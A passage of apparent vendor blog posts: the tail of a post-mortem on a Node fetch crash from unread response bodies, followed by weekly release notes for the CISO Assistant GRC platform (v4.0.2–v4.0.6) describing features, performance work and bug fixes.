res.headers.get('content-type')?.split(';')[0].trim().toLowerCase(); if (mediaType !== 'application/json') return res; const body = await res.arrayBuffer(); return new Response(body, { status: res.status, statusText: res.statusText, headers: res.headers }); } ``` It only touches `application/json`, matched exactly and case-insensitively, so streamed chat replies and file downloads pass through as before. Loaders were already reading these bodies in full, so memory use barely moves. And while checking what the net would catch, we noticed the database backup was labelled `application/json` even though it's a gzip file. One more small thing fixed along the way. We also wanted proof, not just a passing test. The regression test runs Node's real `fetch` against a raw TCP server that sends 64 KiB of JSON and hangs up. To be sure it guards anything, we removed the buffering and ran it again: vitest caught the uncaught `assert(!this.paused)`, blamed our test by name, and failed the run. Put the buffering back, and it passes. ## What we're taking away **Sweep sizes, don't just push them up.** Our instinct, when a bug smells like "too much data", was to add more data. Five thousand assets felt thorough. It was the wrong experiment: the bug lived in a narrow window just above 64 KB, and every test we ran jumped straight over it. When size matters, test the sizes in between. **The production build isn't the production setup.** Same Node version, same build, still no crash. The trigger was a server setting nobody thinks about: gunicorn closes every connection, and `runserver` never does. Reproducing a production bug means copying the whole path a request takes, not just the frontend. **An unread response isn't free.** In most runtimes it's a small leak nobody notices. On Node 24 with its bundled undici 7, in the wrong size window, it takes down the process for everyone. If a loader only needs the status, it shouldn't fetch the body. If it doesn't need the request, it shouldn't make it. **Fix the class, not just the instance.** We found the first call site, then more, then a bot found a few we'd missed. One guard at the choke point covers the ones we know, the ones we missed and the ones that haven't been written yet. **Keep the net even after upstream fixes it.** The undici issue is closed, but the thread was still asking for a backport to undici 7, the version Node 24 bundles. Pinning a different Node 24 release wouldn't help: we reproduced the crash on 24.21.0, and others in the thread hit it on 24.17 and 24.18. Until a fixed undici reaches the Node releases people actually run, the safety net stays. A big thank you to the community member behind #4903. Their log correlation and the upstream link saved us far more time than they probably realize. And if you run a Node server that calls a backend with `fetch`, whether SvelteKit, Next.js or anything else, it might be worth a quick search for responses your code never reads. One of them may be a single medium-sized payload away from taking your server down. --- ### What's New in CISO Assistant — Week 39, 2026 (v4.0.5 – v4.0.6) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w39 Published: 2026-09-21 Author: intuitem Three releases to cover: **v4.0.5** and **Power BI connector 1.1.0**, both published on September 19, a few days after last week's v4.0.4, and the **v4.0.6** patch that followed on September 21. This one is dense — a table view for framework mappings, relation graphs on detail pages, a reworked command palette, five new workflow capabilities, two new libraries, and a connector release that is effectively a repair for the API pagination contract 4.0 introduced. ## Mappings, Now as a Table The mapping explorer had one view: a graph. Good for seeing the shape of a mapping, poor for the question people actually ask of it — _which of my requirements does this thing cover, and how well?_ A table view now sits beside the graph (PR [#4837](https://github.com/intuitem/ciso-assistant-community/pull/4837)). You can read mappings one-to-one, grouped by source, or grouped by target; search them, filter by relationship type or coverage, sort the columns, page through, and export the result to CSV. Relationship, strength, rationale and annotations are all columns, and unmapped requirements are listed rather than silently absent — which is the half of a mapping that matters most when you are deciding whether to trust it. Coverage summaries sit above the table, the labels are localized in English and French, and the table loads progressively so opening it does not block the graph. Thanks to **@ab-smith**. ## Relation Graphs on Detail Pages Rather than a single explorer, the graph idea moved to where the objects are (PR [#4832](https://github.com/intuitem/ciso-assistant-community/pull/4832)). Supported detail pages gain a **Relations Graph** — a small neighbourhood view you can filter, expand node by node, and re-lay out — so the question "what is this control actually attached to?" is answered on the control's own page. It ships behind its own feature flag, off until you turn it on. Alongside it, an experimental **Domain Whiteboard** (Pro) lets you create, rename, move and delete domains on a canvas, with confirmation before applying and proper conflict handling when someone else has moved the tree underneath you. It lives under **Experimental**, and the folder-reorganization backend behind it gained real validation, batch handling and rollback — worth knowing even if you never open the board, since the same code path guards ordinary moves. Assets can now also be linked to document containers, and selected through the form. Thanks to **@ab-smith**. ## The Command Palette Grows Up The palette was a navigation shortcut. It is now three things at once (PR [#4852](https://github.com/intuitem/ciso-assistant-community/pull/4852)): - **Search** — an authenticated, permission-aware universal search with fuzzy matching and ranked results, over more object types and more fields than before. - **Add** — creation actions that open the right form directly, offered only for models you may create. - **Command** — including handing a question to the AI assistant. Keyboard shortcuts and argument-based commands come with it. The permission work is the unglamorous part and the important one: navigation visibility is now consistent with what the user may actually see, service-account navigation is restricted to administrators, and creation actions do not appear for unsupported models or unauthorized users. A palette that offers you a door you cannot open is worse than no palette. Thanks to **@ab-smith**. ## Workflows: Measure, Ingest, Collect Week 37 gave workflows AI steps. This release gives them the enablers to cover evidence, tasks and metrics end to end (PR [#4843](https://github.com/intuitem/ciso-assistant-community/pull/4843)) — the largest single change in the release. **Two new action steps.** _Record a measurement_ files a number against a metric instance as a dated sample, optionally carrying the evidence revision the number came from; the metric definition decides whether that number is a result or the index of a qualitative option. _Post scan results_ files a batch of `pass`/`fail`/`not_applicable`/`error`/`not_checked` rows against a technical posture for one asset, matching each row's `ref_id` against the framework's requirements — so a scanner reporting benchmark numbers needs no mapping table. Rows that match nothing are counted and reported rather than failing the run, and reusing a run id patches an existing run instead of stacking duplicates. **Scheduled evidence collection that actually closes the loop.** The _Attach a file to an evidence_ step can now file a new revision instead of overwriting the last one — required for anything on a schedule, or a nightly collection keeps one file and no history. More interesting, it can work out the task occurrence the file answers for: the most recent occurrence that is due and not yet settled. A recurring task that expects an evidence only shows it as provided once a revision exists _for that occurrence_, so without this the task kept asking however good the file was. Filing a file still never marks the occurrence complete — attaching the work and deciding it is done are different calls, and only the second one is a person's. **Failures you can route on.** Both the HTTP request step and URL-sourced evidence collection gained _Continue when the answer is an error_ and _Continue when the tool cannot be reached_, off by default. The default is the safe reading: a collection that could not run must not look like one that ran and found nothing. Turn them on and the step reports `attached`/`status` plus `unreachable`, `host` and `reason` on both branches — an unreachable tool reports status `0`, which no real answer produces — so one branch handles a bad answer and no answer alike. Errors are logged by host only, so a secret in a query string cannot leak into the log. **More creatable objects and stricter publishing.** External ratings, incident timeline entries, tasks and right requests join the list a workflow can create, and required fields are now enforced at publish time rather than letting a run write a blank. Roughly thirty new publish checks were added, each with the message you will see and what to do about it. Upsert matching now happens in the domain the object lands in — a purpose belongs to its processing, a scenario to its assessment — so a workflow in a parent domain finds the object it created last time. Five new templates ship with it, including **Evidence collection** (wired with the failure branch as an example) and **Findings binder, AI triage sweep**. Thirty templates now, up from twenty-five. Thanks to **@ab-smith**. ## Power BI Connector 1.1.0 — Install It Before You Tighten Pagination Week 36 made API pagination a contract: a default of 50 and a hard cap of 200. The Power BI connector did not survive that cleanly, and this release is the repair (PR [#4858](https://github.com/intuitem/ciso-assistant-community/pull/4858), shipped as [powerbi-v1.1.0](https://github.com/intuitem/ciso-assistant-community/releases/tag/powerbi-v1.1.0)). **The failure mode was silent.** Connector 1.0.2 and older page by the `limit` they asked for rather than the number of rows the server actually served, so on an instance with `PAGINATE_MAX` below 5000 each table stopped after one page — no error, just a table holding fewer rows than the application shows. Connector 1.1.0 reads the page size back from the response and is correct at any ceiling. **Upgrade every desktop and gateway running the connector before lowering `PAGINATE_MAX`.** The reports themselves need no change. The same PR widens what the connector exposes: Task Nodes, Entity Assessments, Contracts and Risk Acceptances as facts; Actors, Entities, Solutions, Task Definitions and Campaigns as dimensions. Actors is the one to note — an object can have several owners, so ownership travels through a bridge rather than an `owner` column, and the Actors dimension covers owners that are a user, a team or an entity alike. Server-side, the API gained **sparse fieldsets**: `?fields=id,name,status` on any list or detail endpoint. It can only narrow a response, never widen one — an unknown or unpublished field is a 400, `id` is always included, and fields hidden from your role stay hidden. Names are top-level response keys, not paths. The connector uses it for bridge tables; an older instance that does not know the parameter ignores it and returns full rows, so the connector works either way. Everything else — permissions, filters, ordering — is unchanged. ## New Libraries - **MITRE ATT&CK for ICS and Mobile** — the library generator now covers all three ATT&CK domains, with tactics, techniques, groups, mitigations and their relationships, published tactic ordering preserved and existing French translations carried forward. Duplicate shared mitigations across domains are no longer emitted (PR [#4836](https://github.com/intuitem/ciso-assistant-community/pull/4836)). - **OWASP Top 10 for Agentic Applications 2026** — ten agentic threats covering goal hijacking, tool misuse, privilege abuse, memory poisoning, cascading failures and rogue agents, with 96 framework requirements of which 86 are assessable mitigation guidelines linked back to their threat (PR [#4835](https://github.com/intuitem/ciso-assistant-community/pull/4835)). Both thanks to **@ab-smith**. ## Findings, Better Connected Two changes from the same idea — a finding is only useful where you meet it. **Findings tab on a task** (PR [#4821](https://github.com/intuitem/ciso-assistant-community/pull/4821)) — a task already carried a findings relation, but the detail view had no tab for it, so findings raised from a periodic task were reachable only through the edit form. The tab is read-only, next to Documents and Incidents, and disappears with the `follow_up` flag like Incidents does under its own. One line of it was not cosmetic: the tab lists through a `task_templates` filter that `FindingFilterSet` did not declare, and an unknown filter is _dropped silently_ — so the tab would have rendered perfectly while listing every finding in the instance. Two regression tests pin exactly that. Thanks to **@Claquetteuuuh**. **Pick existing findings on a requirement assessment** (PR [#4819](https://github.com/intuitem/ciso-assistant-community/pull/4819)) — applied controls, evidences and exceptions could be picked from existing objects; findings could only be raised. The reverse relation is now exposed as a field, with the usual autocomplete. A finding belongs to one requirement assessment, so the picker offers unbound findings plus the assessment's own, and the backend refuses to bind one that is bound elsewhere — moving a finding stays a deliberate edit on the finding itself. Binding needs change permission on the finding and is refused on a locked binder; findings stay auditor-only in the default and third-party visibility sets, so auditees never see finding names in the response. The raise-finding modal also became a proper page action, fixing a case where saving the assessment right after raising a finding would unbind it. Thanks to **@nas-tabchiche**. ## Additional OIDC Scopes OIDC SSO configurations gained an `additional_scopes` field under advanced settings: a comma-separated list, trimmed, validated and de-duplicated on both ends, appended to the default `openid` / `profile` / `email` at the authorization redirect (PR [#4841](https://github.com/intuitem/ciso-assistant-community/pull/4841)). If your IdP gates claims behind a custom scope, you no longer need a fork to ask for it. Labels and help text are localized in every supported language. Thanks to **@tchoumi313**. ## Charts and Performance **Two more ways to read a breakdown over time** (PR [#4857](https://github.com/intuitem/ciso-assistant-community/pull/4857)) — Area and Small Multiples join the existing breakdown chart. Small Multiples gives each series its own independently scaled panel with a label, a summary and a trend line, which is the right shape when one series dwarfs the others and a stacked chart flattens everything below it. Small Multiples is selectable in dashboard widget configuration, applied-control statuses get consistent colours, and the metrics endpoints lost their N+1 queries in the same pass. **Forms mount progressively** (PR [#4842](https://github.com/intuitem/ciso-assistant-community/pull/4842)) — choice-field options are fetched when a create form opens rather than during the page load behind it, and previously loaded options are reused. A form whose options cannot be retrieved still opens, with the affected dropdown empty and disabled, instead of failing outright. Analytics tabs now load only the data they display, and dashboard selection survives navigation. **Another N+1 sweep** (PR [#4862](https://github.com/intuitem/ciso-assistant-community/pull/4862)) — folders, risk assessments, compliance assessments, quantitative risk studies, EBIOS RM studies, asset assessments and solutions all load their related vulnerabilities, requirements, controls, evidence, contracts, assets, scenarios and approval details in fewer queries. This continues the benchmark-driven work started in v4.0.3. ## Bug Fixes - **Evidence filenames are preserved** — uploaded names with spaces, accents, uppercase letters or multiple extensions survive download and audit archive export, with proper UTF-8 handling throughout. Unsafe characters, path traversal and over-long names are still rejected, duplicate names in an archive are made unique, empty or invalid names get a safe fallback, and a missing evidence file no longer aborts a whole archive export (PR [#4860](https://github.com/intuitem/ciso-assistant-community/pull/4860)). - **PDF preview works in SaaS mode** — uploaded documents preview again, with loading and error states while the file is being retrieved (PR [#4848](https://github.com/intuitem/ciso-assistant-community/pull/4848)). - **Privacy module choices are translated consistently** — autocomplete choice labels now use the most specific translation available, falling back to the displayed label rather than showing an untranslated value (PR [#4846](https://github.com/intuitem/ciso-assistant-community/pull/4846)). All three thanks to **@ab-smith**. ## v4.0.6: Evidence Uploads Fixed, Upgrade Recommended v4.0.6 is a short patch, and one of its fixes matters enough that you should not wait for the next release. **Re-uploading an evidence attachment no longer empties it** (PR [#4875](https://github.com/intuitem/ciso-assistant-community/pull/4875), issue [#4873](https://github.com/intuitem/ciso-assistant-community/issues/4873)). Uploading a file to an evidence that already had an attachment returned `200`, stored the new file, and then left the evidence pointing at nothing. The response gave no hint that anything had gone wrong. Each call flipped the state, so a script looping over uploads alternated between working and wiping the attachment. The replacement path now keeps the previous file until the new one has been validated and saved, deletes the old file only after a successful update, and always recomputes the attachment hash, so re-uploading a file under the same name updates both its contents and its integrity tracking. The same handling covers single uploads, batch uploads and the workflow _Attach a file to an evidence_ step, where a failed automated update now leaves the previous attachment in place. If you automate evidence collection, and last week's release gave you good reasons to, check any evidence you replaced on v4.0.5 or earlier. Thanks to **@monsieurswag**. **Original filenames are recorded everywhere** (PR [#4868](https://github.com/intuitem/ciso-assistant-community/pull/4868)). This follows on from v4.0.5's filename work. A revision's `original_filename` was not updated by domain export/import, the revision upload endpoint, batch upload, or the workflow attach action. All four now set it, and exports carry it. Thanks to **@monsieurswag**. Also in the patch: - **Command palette fixes** — no more duplicate navigation results, reliable navigation to administrative destinations on Enterprise, service-account creation reachable from the palette's create actions, and a localized accessible label on the search button (PR [#4872](https://github.com/intuitem/ciso-assistant-community/pull/4872)). - **Skeleton UI 5** — the UI toolkit moves to Skeleton 5.0.1, with a refreshed theme for typography, links, outlines and corners, readable inline code, and more robust tree views when optional child properties are missing (PR [#4864](https://github.com/intuitem/ciso-assistant-community/pull/4864)). - **Screenshots in the docs** — the documentation gains screenshots for domains, perimeters, assets, controls, audits, risk assessments, matrices, libraries and analytics, generated by a repeatable browser workflow. Demo-data timestamp updates are now limited to the selected demo domain (PR [#4866](https://github.com/intuitem/ciso-assistant-community/pull/4866)). The last three are thanks to **@ab-smith**. ## Watch the v4 Tour If you would rather see all of this than read about it, the team ran two live sessions on version 4: one [in French](https://www.youtube.com/watch?v=FKWuAz3Qzgc) on September 17 and one [in English](https://www.youtube.com/watch?v=K7Y-Clyb3tc) on September 24. They cover workflows with AI steps, quick forms, threat modeling, the MCP server, unified PDF reporting and the TPRM improvements, followed by Q&A and a look at the roadmap. Both are on the [replays page](/replays) with the rest of the archive. ## For Developers The local development stack swaps MailHog for **Mailpit** and moves Qdrant to **v1.19.1** (PR [#4831](https://github.com/intuitem/ciso-assistant-community/pull/4831)). Only development and test environments are affected; the automated password-reset tests were reworked for the new mail interface. If you run the dev compose file, pull the new images. --- For full details, check out the [v4.0.5](https://github.com/intuitem/ciso-assistant-community/releases/tag/v4.0.5) and [v4.0.6](https://github.com/intuitem/ciso-assistant-community/releases/tag/v4.0.6) release notes on GitHub. --- ### What's New in CISO Assistant — Week 38, 2026 (v4.0.4) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w38 Published: 2026-09-16 Author: intuitem One release this week: **v4.0.4** on September 15. After the two dense patches that opened the 4.x line it reads like a cleanup pass, and mostly it is — but three items are worth more than their line in the changelog: assignments now track dynamic framework scope, list views stop pretending to be empty while they load, and the backend container images move to a hardened base with a health check change you should apply before upgrading. ## Assignments Follow the Requirements They Unlock On a dynamic framework, the answers decide which requirements the audit actually covers. Assignments, however, froze that scope at creation — so a respondent never saw the requirements their own answers had unlocked, and someone had to dispatch them by hand after the fact (PR [#4825](https://github.com/intuitem/ciso-assistant-community/pull/4825)). An assignment now follows its implementation groups. What a newly selected group reveals joins the assignment holding the question that revealed it; what a deselected group hides leaves the assignment. A requirement that disappears and comes back may land in a different assignment than before, since routing follows the triggering question rather than the original dispatch. Requirements that were already visible under the default groups stay unassigned unless someone dispatches them explicitly — the change only moves what the answers move. `submitted` and `closed` assignments are frozen either way. The assignment documentation was updated to describe the expansion, routing and removal rules. Thanks to **@Mohamed-Hacene**. ## List Views Stop Looking Empty Two loading states were missing, and both made a working app look like an app with no data (PR [#4743](https://github.com/intuitem/ciso-assistant-community/pull/4743)). **Pulling a CVE catalog gave no feedback at all.** The KEV/EUVD pull runs synchronously inside the backend request — an external fetch plus a bulk upsert — so it can take a while, but nothing on screen changed and the buttons stayed enabled. Clicking again started a second concurrent import, each one popping its own success toast. Both buttons are now disabled for the duration of a pull, with a spinner on the running one, a guard in the handler, and an activity bar above the table. **A slow first table load was indistinguishable from an empty table.** On a mediocre connection you could land on a list view, read an empty table and conclude there was nothing there while the rows were still in flight. `ModelTable` now renders placeholder rows whenever it has nothing to show and data is on the way — during a pull, on its own first fetch, or through a new opt-in `loading` prop. They are real ``/`` elements, so they line up with the columns the incoming rows will fill. The prop defaults to `false`, so the fifty-odd other views that render `ModelTable` are untouched. Both behaviours ship with regression tests. Thanks to **@Claquetteuuuh**. ## Hardened Container Images — Read Before Upgrading The backend images move to Docker Hardened Images, with `uv` and other runtime dependencies patched alongside (PR [#4813](https://github.com/intuitem/ciso-assistant-community/pull/4813)). The Enterprise services gain read-only filesystems, reduced privileges and non-root execution; image mirroring now runs daily instead of weekly; builds and startup tests use the Python 3.14 development image. Container vulnerability assessment notes were added to the documentation, including guidance on documented false positives and when a finding needs review. The part to act on: **the container health check switches from a `curl`-based probe to a Python one**, and support for the `curl` check will be dropped. Update the health check in your Docker Compose file before that happens. The release flags this as a breaking change. In the same vein, Docker Scout now scans containers and dependencies for _fixable_ HIGH and CRITICAL vulnerabilities (PR [#4820](https://github.com/intuitem/ciso-assistant-community/pull/4820)). Fixable CRITICAL findings block the build; HIGH findings are reported but do not. Results are summarised automatically, with an issue opened on critical findings and closed once a scan comes back clean. Both thanks to **@ab-smith**. ## Bug Fixes - **Respondents could not reach their own requests** — Users with the Respondent role had no _My Requests_ tab, because the auditee permission set that shipped with quick forms was missing `view_quickformresponse`. They could submit a response and then lose sight of it. The permission is now granted (PR [#4827](https://github.com/intuitem/ciso-assistant-community/pull/4827)). Thanks to **@Axxiar**. - **Service account and webhook settings read a feature flag without awaiting it** — A missing `await` left the Service Accounts section and the Webhook settings deciding visibility on an unresolved promise, so availability was evaluated unreliably; unavailable webhook functionality now redirects to the settings page as intended. This completes the asynchronous feature-flag loading introduced in week 37's [#4807](https://github.com/intuitem/ciso-assistant-community/pull/4807) (PR [#4823](https://github.com/intuitem/ciso-assistant-community/pull/4823)). Thanks to **@tchoumi313**. - **A template comment leaked into the audit ZIP export** — A comment in the HTML template spanned several lines and was not treated as multiline, so it rendered into the exported page. The HTML in a `.zip` export is clean again (PR [#4814](https://github.com/intuitem/ciso-assistant-community/pull/4814)). Thanks to **@Axxiar**. - **Releases no longer fire on manual dispatch** — The release workflow now runs on protected tags only, closing a path where a dispatch could publish outside the tagging process (PR [#4824](https://github.com/intuitem/ciso-assistant-community/pull/4824)). Thanks to **@ab-smith**. ## Internationalization French and Arabic messages were brought back in line with the current English set, and the dead weight went out with them (PR [#4815](https://github.com/intuitem/ciso-assistant-community/pull/4815)). Obsolete keys for legacy export options, quantitative-risk actions, service-account validation, privacy settings and framework-builder workflows were removed across every language, while the builder's validation, preview, draft-saving and unsaved-changes messages stayed. French gained coverage for document management, assessment imports and the workflow builder, and a broken pluralization placeholder was corrected. Some vocabulary was also aligned with NCA and NIST terminology. Thanks to **@ab-smith**. --- For full details, check out the [v4.0.4](https://github.com/intuitem/ciso-assistant-community/releases/tag/v4.0.4) release notes on GitHub. --- ### What's New in CISO Assistant — Week 37, 2026 (v4.0.2 – v4.0.3) URL: https://intuitem.com/whats-new-ciso-assistant-2026-w37 Published: 2026-09-14 Author: intuitem Two patches close out the first full week on the 4.x line: **v4.0.2** on September 12 and **v4.0.3** on September 13. Patch numbers understate them — v4.0.2 carries an epic, a rebuilt audit view and a report-engine consolidation, and v4.0.3 follows one day later with a performance pass aimed squarely at the pages users complained about. ## Requests Management with Quick Forms The headline of v4.0.2 is a new epic: **quick forms** — simple forms that are deliberately _not_ compliance assessments (PR [#4771](https://github.com/intuitem/ciso-assistant-community/pull/4771)). It ships behind the `quick_forms` feature flag, off by default. The authoring side is a multi-page builder with conditional question visibility, scoring, outcomes, required questions, file uploads and references to existing objects. The consumption side is a full intake loop: a requester portal, a _My Requests_ view, reviewer queues, links from a response to the objects it produced, and email notifications along the way. Responses have a lifecycle — start, answer, submit, reopen — and the whole thing is importable and exportable like other content, with workflow triggers and supervised actions wired in, including security-exception automation. Warnings now surface for unknown workflow keys and incomplete portal tiles. Thanks to **@nas-tabchiche**. The practical effect: the recurring "someone needs to ask the GRC team for something" pattern — an exception request, an onboarding questionnaire, a review request — no longer has to be modelled as an audit. ## One Engine for Every PDF Report All PDF exports now share a single layout and run on the new rendering engine (PR [#4748](https://github.com/intuitem/ciso-assistant-community/pull/4748)). That covers the audit report, audit and TPRM attestations, the action plan for both audits and risk assessments, the incident report, the findings report and the risk analysis. The export window replaces the old dropdown. New alongside it: audit posture and audit attestation exports with profile-specific content — charts, compliance detail, commitments, tasks and signatures — with posture exports made available to third-party viewers under role-based visibility. Entity address and assessment expiry date join the forms and the data exports, Word reports now embed the generated audit charts, and hidden assessment results correctly hide their derived scores and charts. Rendering was fixed for localised result statuses, long observations and requirement assessments that spill across pages. This is flagged as a breaking change in the release: if you have tooling or internal documentation pinned to the old export layout, budget time to look at the new output. Thanks to **@ab-smith**. ## The Audit Table-Mode, Rebuilt Compliance audit table-mode was reworked end to end (PR [#4635](https://github.com/intuitem/ciso-assistant-community/pull/4635)). The assessment/questionnaire toggle is no longer tied to third parties — it is now an auditor comfort switch: _assessment_ shows everything with questionnaire answers read-only, while _questionnaire_ ("focus") shows only the questions plus the computed result and score. A collapsible table of contents keeps section context on scroll, and its result filter now filters the list as well as the rows. The header gained shortcuts to edit the audit, open the action plan and reach evidences, and its scores refresh live after a score edit rather than waiting for a reload. Editing respects reader-versus-editor permissions — a user without change rights sees every control disabled and no create/select — and honours the focus-mode domain filter when picking evidence or measures. Requirement cards got segmented controls for status and result, score sliders with progress rings and score descriptions, and proper empty states. The page is also simply lighter: no per-requirement superForms and no full reload on each field edit. Thanks to **@Mohamed-Hacene**. ## Workflows Learn to Call the AI Workflows gained AI steps for structured extraction and text generation, with configurable prompts, inputs, output fields, schemas, retries and word limits, plus editor support for AI actions and schema fields (PR [#4800](https://github.com/intuitem/ciso-assistant-community/pull/4800)). A sample **AI-assisted finding triage** workflow ships with it, setting severity, priority, review flags and notes. The guardrails came in the same change: unavailable providers, invalid or oversized outputs and excessive input are all handled explicitly, and workflow outputs can no longer overwrite reserved engine variables. Deletion previews and cleanup for branching workflows were fixed along the way. Thanks to **@ab-smith**. ## New Features - **Date filters across list views** — Dates and date-times are now filterable everywhere lists are: ranges, comparisons, a specific date, unset dates, and quick presets. The coverage spans assessments, accreditations, contracts, privacy records, security advisories, issues and more. Filters also handle custom query parameters and keep their state sanely when values change or the filter is reset (PR [#4799](https://github.com/intuitem/ciso-assistant-community/pull/4799)). Thanks to **@ab-smith**. - **Admins can force a date format** — A configurable default date format that an authorised administrator can apply to every user at once, behind a confirmation prompt, with new users inheriting it. Invalid values are rejected with clear feedback, and a warning fires if you try to apply settings you have not saved (PR [#4804](https://github.com/intuitem/ciso-assistant-community/pull/4804)). Thanks to **@ab-smith**. - **Findings import carries controls and owners** — The findings importer knew name, description, severity, status, labels, dates, priority, observation, vulnerabilities and asset, but had no way to bring in the assigned users or linked applied controls, so both were set by hand after every import. Two columns now resolve: `applied_controls`, matched by `ref_id` then name within the domain folder and auto-created when missing, and `owner`, taking semicolon-separated user emails and team names. Unresolved entries warn instead of blocking, an empty owner column correctly clears existing owners on update, and because both paths share the same consumer this works in the manual data wizard and the AI chat file import alike (PR [#4769](https://github.com/intuitem/ciso-assistant-community/pull/4769)). Thanks to **@Spaghetto784**. - **Descendant visibility moves to the folder** — The `is_published` mechanism decided access per object rather than per domain, and its behaviour had drifted apart across object types. It is now a folder-level setting — whether supported content is visible from descendant domains — which is both simpler to reason about and consistent with how the rest of IAM works. The same change adds manual score overrides on requirement assessments, preserved through recalculation and copying (PR [#4672](https://github.com/intuitem/ciso-assistant-community/pull/4672)). Thanks to **@monsieurswag**. - **Enclaves travel in domain export/import** — Back in week 31 the TPRM ecosystem joined domain export, with enclaves explicitly left out. That gap is now closed: enclave folders and their scoped audits, assessments, evidence, findings and task templates travel with the dump, so a vendor's questionnaire, evidence and tasks come back into their workspace. Foreign-domain binders are blocked from riding in through enclave-linked audits, and legacy exports still import (PR [#4742](https://github.com/intuitem/ciso-assistant-community/pull/4742)). Thanks to **@Mohamed-Hacene**. - **Metric samples from the context menu** — Right-clicking a metric instance in the list now offers _Add new custom metric sample_ directly, instead of requiring a trip to the instance page. The same change broadens table filters, columns and batch actions across commitments, findings, campaigns, assessments, entities and scores (PR [#4728](https://github.com/intuitem/ciso-assistant-community/pull/4728)). Thanks to **@Axxiar**. - **Filter and sort audits by author** — Risk assessments, compliance assessments and findings are filterable and sortable by author, with author search covering users, teams and entities. Domain managers can now create third-party representatives, while analysts can no longer change or delete them, and compliance analytics cards and framework headers link through to their detail pages (PR [#4809](https://github.com/intuitem/ciso-assistant-community/pull/4809)). Thanks to **@ab-smith**. ## Performance v4.0.3 is largely a performance release. - **Fewer intensive API calls** — Filter dropdown options load on demand rather than upfront, related-content tabs load when first visited and keep what they loaded, and user, settings and feature-flag data load asynchronously. Invalid pagination values fall back safely to the first page instead of firing redundant requests (PR [#4807](https://github.com/intuitem/ciso-assistant-community/pull/4807), thanks to **@ab-smith**, with a follow-up deferring filter controls until the popover is first opened in PR [#4808](https://github.com/intuitem/ciso-assistant-community/pull/4808), thanks to **@eric-intuitem**). - **A usable kanban board** — The board could take more than ten seconds to render. Sections now fold, cards load on demand as swimlanes open, large result sets get a progressive load button, and per-folder and per-status counts stay accurate — updating immediately on a status change and correcting themselves if the update fails. Tested against 7,000+ controls (PR [#4810](https://github.com/intuitem/ciso-assistant-community/pull/4810)). Thanks to **@eric-intuitem**. - **An N+1 benchmark command** — A management command that measures query growth across list endpoints, reporting query counts per object, sorted to put the worst offenders first, printable as JSON or written to a file. It prepares its own representative data and skips endpoints whose configuration is unavailable (PR [#4778](https://github.com/intuitem/ciso-assistant-community/pull/4778)). Thanks to **@monsieurswag**. Rather than fixing N+1 queries one report at a time, the team now has a way to find them. ## Identity & Access - **One policy for custom roles managing users** — Custom roles handled user management inconsistently. The change applies a single documented policy — written up in `documentation/user-account-security-policy.md` — strengthening safeguards around administrator accounts, privilege changes, group membership and email updates, and around SCIM-managed users. The last active administrator can no longer be deactivated or deleted, including through batch actions or expiry-based deactivation. User detail pages now show whether an account is SCIM-managed or JIT-provisioned, and updating SSO settings requires a complete configuration (PR [#4759](https://github.com/intuitem/ciso-assistant-community/pull/4759)). Thanks to **@eric-intuitem**. - **Classification pages stop offering what they can't do** — The object-classification detail page was hand-built and never checked permissions, so domain admins and view-only users saw enabled Add/Edit/Delete/reorder controls that returned a 403 on click. The standard permission check now hides them. Backend behaviour is unchanged — it was already rejecting the writes (PR [#4755](https://github.com/intuitem/ciso-assistant-community/pull/4755)). Thanks to **@melinoix**. - **Logout no longer depends on API reachability** — On deployments where the API is not reachable from the browser — SaaS IP allowlists, filtered reverse proxies — SSO users logging out landed on a blocked page instead of the login screen, and single logout never reached the identity provider. The logout route now resolves the provider's logout URL server-side and redirects the browser straight to the IdP, with any failure falling back to `/login`, so logout cannot dead-end. Access tokens are revoked during logout and a timeout guards against stalled sign-outs. Worth noting for production hardening: `/api/iam/sso/logout/` no longer needs to be publicly reachable, but the SAML `sls` endpoint still does when SAML single logout is enabled, since the IdP must deliver its signed LogoutResponse there (PR [#4774](https://github.com/intuitem/ciso-assistant-community/pull/4774)). Thanks to **@Mohamed-Hacene**. ## Bug Fixes - **Saving a requirement wiped its scores when the result was hidden** — On audits that hide the result field, saving a requirement cleared its score, documentation score and result. The edit form posted back every field including the hidden respondent alignment, which came back empty, and the backend read that as the respondent clearing their answer. It now only resets when an alignment was actually set, and the form no longer posts fields the audit hides. Explicitly deselecting an alignment still clears the associated values (PR [#4794](https://github.com/intuitem/ciso-assistant-community/pull/4794)). Thanks to **@Mohamed-Hacene**. - **Stale custom fields from another domain blocked object creation** — Creating an object failed with an opaque `custom_fields` error whenever the selected domain was not the one holding the field definitions. Three things combined: the create modal loads definitions before a domain is picked and so receives every definition for the model, rendering a choice field writes a `null` placeholder into the payload, and switching domain hid the fields but kept the keys, which the API rejected as unknown. The payload now only carries keys of currently rendered definitions, resolved against the selected folder. Two behaviour changes: moving an object to another folder discards stored values whose definition no longer applies there — previously they lingered invisibly while still matching `cf__` filters — and the destination folder's required custom fields are enforced on the move (PR [#4731](https://github.com/intuitem/ciso-assistant-community/pull/4731)). Thanks to **@nas-tabchiche**. - **Empty names and truncated observations in the findings PDF** — The findings assessment report printed blank Authors, Reviewers and Owners lines because the template read `.email` on Actor objects, which have no such attribute, and Django renders that as an empty string. Actors now render through `str()`, matching the markdown export. The summary table also cut observations at 100 characters; that truncation is gone. Reported by a customer (PR [#4768](https://github.com/intuitem/ciso-assistant-community/pull/4768)). Thanks to **@nas-tabchiche**. - **Deleting a folder with a kill-chain reference returned a 500** — Deleting a folder that cascaded into an `ElementaryAction` still referenced by a `KillChain` raised an uncaught `ProtectedError` and surfaced as a raw 500. It now returns a structured 409 naming the visible items blocking the deletion, and indicating when further blockers are hidden (PR [#4751](https://github.com/intuitem/ciso-assistant-community/pull/4751)). Thanks to **@Spaghetto784**. - **Supporting assets saved capabilities as objectives** — Creating an asset of type _supporting_ stored its security and recovery capabilities as security and recovery objectives, which belong to primary assets. Inputs are now recreated when the type changes, so the right values reach the backend (PR [#4787](https://github.com/intuitem/ciso-assistant-community/pull/4787)). Thanks to **@Axxiar**. - **Document validation flows** — Approvers are now shown in document history and PDF metadata, non-authored documents can be approved, approval is disabled rather than silently rejected when the user lacks the rights, lifecycle and deletion controls carry explanatory tooltips, delete failures surface the backend's reason, and duplicate frontend errors are gone (PR [#4795](https://github.com/intuitem/ciso-assistant-community/pull/4795)). Thanks to **@ab-smith**. - **Accessible findings chart** — The finding assessment chart's palette was adapted for colour blindness (PR [#4767](https://github.com/intuitem/ciso-assistant-community/pull/4767)). Thanks to **@melinoix**. - **Framework resolution in the CLI** — CLICA resolved frameworks through `/frameworks/ids/`, an endpoint frameworks do not 